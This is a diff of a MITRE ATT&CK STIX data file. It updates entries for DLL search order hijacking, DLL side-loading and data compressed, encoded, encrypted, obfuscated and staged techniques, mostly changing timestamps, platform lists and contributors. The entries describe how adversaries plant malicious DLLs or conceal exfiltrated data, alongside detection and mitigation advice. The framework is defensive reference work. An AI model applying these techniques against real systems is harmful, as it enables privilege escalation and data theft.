+            "description": "Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm\n\nEnable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. <code>%SYSTEMROOT%</code>)to be used before local directory DLLs (e.g. a user's home directory). The Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode.  The associated Windows Registry key for this is located at <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeDLLSearchMode</code> (Citation: Microsoft DLL Search)\n\nUse auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
                     "url": "https://attack.mitre.org/wiki/Technique/T1038",
                     "external_id": "T1038"
                 },
+                {
+                    "source_name": "Microsoft DLL Search",
+                    "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.",
+                    "url": "http://msdn.microsoft.com/en-US/library/ms682586"
+                },
                 {
                     "source_name": "Powersploit",
                     "description": "PowerSploit. (n.d.).  Retrieved December 4, 2014.",
@@ -3188,6 +2964,11 @@
                     "source_name": "NSA MS AppLocker",
                     "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                     "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
+                },
+                {
+                    "source_name": "Microsoft DLL Preloading",
+                    "description": "Microsoft. (2010, August 12). More information about the DLL Preloading remote attack vector. Retrieved December 5, 2014.",
+                    "url": "http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx"
                 }
             ]
         },
@@ -3196,9 +2977,9 @@
             "id": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:40.604Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "DLL Search Order Hijacking",
-            "description": "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.\n\nDetection: Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious. Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, DLL monitoring, Process command-line parameters, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Ability to add a DLL, manifest file, or .local file, directory, or junction.\n\nContributors: Stefan Kanthak",
+            "description": "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.\n\nDetection: Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\n\nPlatforms: Windows\n\nData Sources: File monitoring, DLL monitoring, Process command-line parameters, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Ability to add a DLL, manifest file, or .local file, directory, or junction.\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -3248,18 +3029,14 @@
                     "source_name": "Mandiant Search Order",
                     "description": "Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. Retrieved December 5, 2014.",
                     "url": "https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/"
-                },
-                {
-                    "source_name": "Microsoft DLL Preloading",
-                    "description": "Microsoft. (2010, August 12). More information about the DLL Preloading remote attack vector. Retrieved December 5, 2014.",
-                    "url": "http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx"
                 }
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_contributors": [
-                "Stefan Kanthak"
+                "Stefan Kanthak",
+                "Travis Smith, Tripwire"
             ],
             "x_mitre_data_sources": [
                 "File monitoring",
@@ -3267,11 +3044,6 @@
                 "Process command-line parameters",
                 "Process monitoring"
             ],
-            "x_mitre_effective_permissions": [
-                "User",
-                "Administrator",
-                "SYSTEM"
-            ],
             "x_mitre_defense_bypassed": [
                 "Process whitelisting"
             ],
@@ -3280,19 +3052,13 @@
                 "Administrator",
                 "SYSTEM"
             ],
+            "x_mitre_effective_permissions": [
+                "User",
+                "Administrator",
+                "SYSTEM"
+            ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Ability to add a DLL, manifest file, or .local file, directory, or junction."
@@ -3302,8 +3068,8 @@
             "type": "course-of-action",
             "id": "course-of-action--7a14d974-f3d9-4e4e-9b7d-980385762908",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "DLL Side-Loading Mitigation",
             "description": "Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.",
             "external_references": [
@@ -3319,9 +3085,9 @@
             "id": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:58.007Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "DLL Side-Loading",
-            "description": "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.\n\nDetection: Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process use of network, Process monitoring, Loaded DLLs\n\nDefense Bypassed: Anti-virus, Process whitelisting",
+            "description": "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.\n\nDetection: Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nPlatforms: Windows\n\nData Sources: Process use of network, Process monitoring, Loaded DLLs\n\nDefense Bypassed: Anti-virus, Process whitelisting",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -3358,26 +3124,15 @@
                 "Process whitelisting"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--28adf6fd-ab6c-4553-9aa7-cef18a191f33",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data Compressed Mitigation",
             "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to compress files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nIf network intrusion prevention or data loss prevention tools are set to block specific file types from leaving the network over unencrypted channels, then an adversary may move to an encrypted channel.",
             "external_references": [
@@ -3418,9 +3173,9 @@
             "id": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:19.338Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data Compressed",
-            "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.\n\nDetection: Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.\n\nIf the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nRequires Network: No",
+            "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.\n\nDetection: Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.\n\nIf the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nRequires Network: No",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -3450,29 +3205,17 @@
             ],
             "x_mitre_network_requirements": false,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--fcbe8424-eb3e-4794-b76d-e743f5a49b8b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data Encoding Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
@@ -3493,9 +3236,9 @@
             "id": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:43.540Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data Encoding",
-            "description": "Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64,  MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Process use of network, Process Monitoring, Network protocol analysis\n\nPermissions Required: User\n\nRequires Network: Yes\n\nContributors: Itzik Kotler, SafeBreach",
+            "description": "Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64,  MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Process use of network, Process Monitoring, Network protocol analysis\n\nPermissions Required: User\n\nRequires Network: Yes\n\nContributors: Itzik Kotler, SafeBreach",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -3536,34 +3279,22 @@
                 "Process Monitoring",
                 "Network protocol analysis"
             ],
+            "x_mitre_network_requirements": true,
             "x_mitre_permissions_required": [
                 "User"
             ],
-            "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--2a8de25c-f743-4348-b101-3ee33ab5871b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data Encrypted Mitigation",
             "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -3604,9 +3335,9 @@
             "id": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:30.260Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data Encrypted",
-            "description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol\n\nDetection: Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software. \n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. \n\nNetwork traffic may also be analyzed for entropy to determine if encrypted data is being transmitted. (Citation: Zhang 2013) If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nRequires Network: No",
+            "description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol\n\nDetection: Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software. \n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. \n\nNetwork traffic may also be analyzed for entropy to determine if encrypted data is being transmitted. (Citation: Zhang 2013) If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nRequires Network: No",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -3641,29 +3372,17 @@
             ],
             "x_mitre_network_requirements": false,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--d0fcf37a-b6c4-4745-9c43-4fcdb8bfc88e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data Obfuscation Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
@@ -3684,9 +3403,9 @@
             "id": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:18.931Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data Obfuscation",
-            "description": "Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Process use of network, Process monitoring, Network protocol analysis\n\nRequires Network: Yes",
+            "description": "Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Process use of network, Process monitoring, Network protocol analysis\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -3716,29 +3435,17 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--4320b080-9ae9-4541-9b8b-bcd0961dbbbd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data Staged Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -3779,9 +3486,9 @@
             "id": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:58.938Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data Staged",
-            "description": "Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Data Compressed or Data Encrypted.\n\nInteractive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.\n\nDetection: Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters",
+            "description": "Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Data Compressed or Data Encrypted.\n\nInteractive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.\n\nDetection: Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -3804,29 +3511,17 @@
                 "Process command-line parameters"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--ba06d68a-4891-4eb5-b634-152e05ec60ee",
